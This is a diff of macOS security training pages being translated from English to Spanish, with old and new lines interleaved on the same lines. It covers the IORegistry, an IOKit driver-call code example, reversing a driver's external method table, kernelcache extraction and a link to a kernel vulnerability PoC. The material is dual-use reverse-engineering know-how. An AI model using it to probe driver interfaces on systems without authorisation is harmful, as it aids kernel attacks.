## IORegistry ## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. El **IORegistry** es una parte crucial del marco IOKit en macOS e iOS que sirve como una base de datos para representar la configuración y el estado del hardware del sistema. Es una **colección jerárquica de objetos que representan todo el hardware y los controladores** cargados en el sistema, y sus relaciones entre sí.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
Puedes obtener el IORegistry usando el cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS).
```bash ```bash
ioreg -l #List all ioreg -l #List all
ioreg -w 0 #Not cut lines ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane ioreg -p <plane> #Check other plane
``` ```
Podrías descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**.
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: En IORegistryExplorer, "planes" se utilizan para organizar y mostrar las relaciones entre diferentes objetos en el IORegistry. Cada plano representa un tipo específico de relación o una vista particular de la configuración de hardware y controladores del sistema. Aquí hay algunos de los planos comunes que podrías encontrar en IORegistryExplorer:
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. 1. **IOService Plane**: Este es el plano más general, que muestra los objetos de servicio que representan controladores y nubs (canales de comunicación entre controladores). Muestra las relaciones proveedor-cliente entre estos objetos.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. 2. **IODeviceTree Plane**: Este plano representa las conexiones físicas entre dispositivos a medida que están conectados al sistema. A menudo se utiliza para visualizar la jerarquía de dispositivos conectados a través de buses como USB o PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. 3. **IOPower Plane**: Muestra objetos y sus relaciones en términos de gestión de energía. Puede mostrar qué objetos están afectando el estado de energía de otros, útil para depurar problemas relacionados con la energía.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. 4. **IOUSB Plane**: Enfocado específicamente en dispositivos USB y sus relaciones, mostrando la jerarquía de hubs USB y dispositivos conectados.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. 5. **IOAudio Plane**: Este plano es para representar dispositivos de audio y sus relaciones dentro del sistema.
6. ... 6. ...
## Driver Comm Code Example ## Ejemplo de Código de Comunicación de Controlador
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: El siguiente código se conecta al servicio de IOKit `"YourServiceNameHere"` y llama a la función dentro del selector 0. Para ello:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
- primero llama a **`IOServiceMatching`** y **`IOServiceGetMatchingServices`** para obtener el servicio.
- Luego establece una conexión llamando a **`IOServiceOpen`**.
- Y finalmente llama a una función con **`IOConnectCallScalarMethod`** indicando el selector 0 (el selector es el número que se le ha asignado a la función que deseas llamar).
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h> #import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) { int main(int argc, const char * argv[]) {
@autoreleasepool { @autoreleasepool {
// Get a reference to the service using its name // Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) { if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary"); NSLog(@"Failed to create matching dictionary");
return -1; return -1;
} }
// Obtain an iterator over all matching services // Obtain an iterator over all matching services
io_iterator_t iter; io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) { if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services"); NSLog(@"Failed to get matching services");
return -1; return -1;
} }
// Get a reference to the first service (assuming it exists) // Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter); io_service_t service = IOIteratorNext(iter);
if (!service) { if (!service) {
NSLog(@"No matching service found"); NSLog(@"No matching service found");
IOObjectRelease(iter); IOObjectRelease(iter);
return -1; return -1;
} }
// Open a connection to the service // Open a connection to the service
io_connect_t connect; io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect); kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) { if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service"); NSLog(@"Failed to open service");
IOObjectRelease(service); IOObjectRelease(service);
IOObjectRelease(iter); IOObjectRelease(iter);
return -1; return -1;
} }
// Call a method on the service // Call a method on the service
// Assume the method has a selector of 0, and takes no arguments // Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) { if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method"); NSLog(@"Failed to call method");
} }
// Cleanup // Cleanup
IOServiceClose(connect); IOServiceClose(connect);
IOObjectRelease(service); IOObjectRelease(service);
IOObjectRelease(iter); IOObjectRelease(iter);
} }
return 0; return 0;
} }
``` ```
Hay **otras** funciones que se pueden usar para llamar a funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... ## Invirtiendo el punto de entrada del controlador
## Reversing driver entrypoint Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](./#ipsw). Luego, cárgalo en tu desensamblador favorito.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. Podrías comenzar a desensamblar la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta:
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means: Esa horrible llamada desmanglada significa:
```cpp ```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
``` ```
Nota cómo en la definición anterior falta el parámetro **`self`**, la buena definición sería:
Note how in the previous definition the **`self`** param is missed, the good definition would be:
```cpp ```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
``` ```
En realidad, puedes encontrar la definición real en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp ```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments, IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount, const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference) OSObject * target, void * reference)
``` ```
Con esta información, puedes reescribir Ctrl+Right -> `Edit function signature` y establecer los tipos conocidos:
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like: El nuevo código decompilado se verá así:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it: Para el siguiente paso, necesitamos tener definida la estructura **`IOExternalMethodDispatch2022`**. Es de código abierto en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), podrías definirlo:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data: Ahora, siguiendo el `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puedes ver muchos datos:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`** Cambia el tipo de dato a **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change: después del cambio:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements: Y como ahora sabemos que hay un **array de 7 elementos** (verifica el código decompilado final), haz clic para crear un array de 7 elementos:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions: Después de que se crea el array, puedes ver todas las funciones exportadas:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP] > [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... > Si recuerdas, para **llamar** a una función **exportada** desde el espacio de usuario, no necesitamos llamar al nombre de la función, sino al **número de selector**. Aquí puedes ver que el selector **0** es la función **`initializeDecoder`**, el selector **1** es **`startDecoder`**, el selector **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,40 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. Las extensiones del kernel (Kexts) son **paquetes** con una **extensión `.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidad adicional al sistema operativo principal.
### Requirements ### Requisitos
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: Obviamente, esto es tan poderoso que es **complicado cargar una extensión del kernel**. Estos son los **requisitos** que una extensión del kernel debe cumplir para ser cargada:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: - Al **ingresar al modo de recuperación**, las **extensiones del kernel deben ser permitidas** para ser cargadas:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. - La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **otorgado por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware. - La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. - Luego, el usuario **root** es quien puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). - Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. - Finalmente, al intentar cargarla, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
### Loading process ### Proceso de carga
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el permiso **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension 1. **`kextutil`** cli **inicia** el proceso de **verificación** para cargar una extensión
- It will talk to **`kextd`** by sending using a **Mach service**. - Se comunicará con **`kextd`** enviando usando un **servicio Mach**.
2. **`kextd`** will check several things, such as the **signature** 2. **`kextd`** verificará varias cosas, como la **firma**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. - Se comunicará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. 3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no ha sido cargada previamente.
- **`syspolicyd`** will report the result to **`kextd`** - **`syspolicyd`** informará el resultado a **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension 4. **`kextd`** finalmente podrá **decirle al kernel que cargue** la extensión
If **`kextd`** is not available, **`kextutil`** can perform the same checks. Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas verificaciones.
### Enumeration (loaded kexts)
### Enumeración (kexts cargados)
```bash ```bash
# Get loaded kernel extensions # Get loaded kernel extensions
kextstat kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22 # Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
``` ```
## Kernelcache ## Kernelcache
> [!CAUTION] > [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. > Aunque se espera que las extensiones del kernel estén en `/System/Library/Extensions/`, si vas a esta carpeta **no encontrarás ningún binario**. Esto se debe al **kernelcache** y para revertir un `.kext` necesitas encontrar una manera de obtenerlo.
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. El **kernelcache** es una **versión precompilada y preenlazada del kernel XNU**, junto con controladores de dispositivo esenciales y **extensiones del kernel**. Se almacena en un formato **comprimido** y se descomprime en la memoria durante el proceso de arranque. El kernelcache facilita un **tiempo de arranque más rápido** al tener una versión lista para ejecutar del kernel y controladores cruciales disponibles, reduciendo el tiempo y los recursos que de otro modo se gastarían en cargar y enlazar dinámicamente estos componentes en el momento del arranque.
### Local Kerlnelcache ### Kernelcache Local
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ En iOS se encuentra en **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** en macOS puedes encontrarlo con: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in: En mi caso en macOS lo encontré en:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4 #### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
It's usually composed of the following components: Generalmente está compuesto por los siguientes componentes:
- **Payload (IM4P)**: - **Carga útil (IM4P)**:
- Often compressed (LZFSE4, LZSS, …) - A menudo comprimido (LZFSE4, LZSS, …)
- Optionally encrypted - Opcionalmente cifrado
- **Manifest (IM4M)**: - **Manifiesto (IM4M)**:
- Contains Signature - Contiene firma
- Additional Key/Value dictionary - Diccionario adicional de clave/valor
- **Restore Info (IM4R)**: - **Información de restauración (IM4R)**:
- Also known as APNonce - También conocido como APNonce
- Prevents replaying of some updates - Previene la repetición de algunas actualizaciones
- OPTIONAL: Usually this isn't found - OPCIONAL: Generalmente esto no se encuentra
Decompress the Kernelcache:
Descomprimir el Kernelcache:
```bash ```bash
# img4tool (https://github.com/tihmstar/img4tool # img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4) # pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
### Descargar&#x20;
### Download&#x20;
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. En [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) es posible encontrar todos los kits de depuración del kernel. Puedes descargarlo, montarlo, abrirlo con la herramienta [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), acceder a la carpeta **`.kext`** y **extraerlo**.
Check it for symbols with:
Verifícalo en busca de símbolos con:
```bash ```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
``` ```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. A veces Apple lanza **kernelcache** con **símbolos**. Puedes descargar algunos firmwares con símbolos siguiendo los enlaces en esas páginas. Los firmwares contendrán el **kernelcache** entre otros archivos.
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. Para **extraer** los archivos, comienza cambiando la extensión de `.ipsw` a `.zip` y **descomprímelo**.
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: Después de extraer el firmware, obtendrás un archivo como: **`kernelcache.release.iphone14`**. Está en formato **IMG4**, puedes extraer la información interesante con:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:** [**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash ```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
[**img4tool**](https://github.com/tihmstar/img4tool)**:** [**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash ```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
### Inspeccionando kernelcache
### Inspecting kernelcache Verifica si el kernelcache tiene símbolos con
Check if the kernelcache has symbols with
```bash ```bash
nm -a kernelcache.release.iphone14.e | wc -l nm -a kernelcache.release.iphone14.e | wc -l
``` ```
Con esto ahora podemos **extraer todas las extensiones** o la **que te interese:**
With this we can now **extract all the extensions** or the **one you are interested in:**
```bash ```bash
# List all extensions # List all extensions
kextex -l kernelcache.release.iphone14.e kextex -l kernelcache.release.iphone14.e
@ -139,8 +126,7 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols # Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l nm -a binaries/com.apple.security.sandbox | wc -l
``` ```
## Depuración
## Debugging
## Referencias ## Referencias

View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities # Vulnerabilidades del Kernel de macOS
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\ [**En este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) se explican varias vulnerabilidades que permitieron comprometer el kernel comprometiendo el actualizador de software.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,78 +4,76 @@
## System Extensions / Endpoint Security Framework ## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction. A diferencia de las Kernel Extensions, **las System Extensions se ejecutan en el espacio de usuario** en lugar del espacio del kernel, reduciendo el riesgo de un fallo del sistema debido a un mal funcionamiento de la extensión.
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure> <figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. Hay tres tipos de system extensions: **DriverKit** Extensions, **Network** Extensions y **Endpoint Security** Extensions.
### **DriverKit Extensions** ### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. DriverKit es un reemplazo para las kernel extensions que **proporcionan soporte de hardware**. Permite que los controladores de dispositivos (como USB, Serial, NIC y controladores HID) se ejecuten en el espacio de usuario en lugar del espacio del kernel. El marco DriverKit incluye **versiones de espacio de usuario de ciertas clases de I/O Kit**, y el kernel reenvía eventos normales de I/O Kit al espacio de usuario, ofreciendo un entorno más seguro para que estos controladores se ejecuten.
### **Network Extensions** ### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: Las Network Extensions proporcionan la capacidad de personalizar comportamientos de red. Hay varios tipos de Network Extensions:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. - **App Proxy**: Esto se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a flujos. Esto significa que maneja el tráfico de red basado en conexiones (o flujos) en lugar de paquetes individuales.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. - **Packet Tunnel**: Esto se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red basado en paquetes individuales.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. - **Filter Data**: Esto se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. - **Filter Packet**: Esto se utiliza para filtrar paquetes individuales de red. Puede monitorear o modificar datos de red a nivel de paquete.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. - **DNS Proxy**: Esto se utiliza para crear un proveedor DNS personalizado. Puede usarse para monitorear o modificar solicitudes y respuestas DNS.
## Endpoint Security Framework ## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity. Endpoint Security es un marco proporcionado por Apple en macOS que ofrece un conjunto de APIs para la seguridad del sistema. Está destinado a ser utilizado por **proveedores de seguridad y desarrolladores para construir productos que puedan monitorear y controlar la actividad del sistema** para identificar y protegerse contra actividades maliciosas.
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events. Este marco proporciona una **colección de APIs para monitorear y controlar la actividad del sistema**, como ejecuciones de procesos, eventos del sistema de archivos, eventos de red y del kernel.
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components: El núcleo de este marco está implementado en el kernel, como una Kernel Extension (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Este KEXT está compuesto por varios componentes clave:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework. - **EndpointSecurityDriver**: Actúa como el "punto de entrada" para la extensión del kernel. Es el principal punto de interacción entre el sistema operativo y el marco de Endpoint Security.
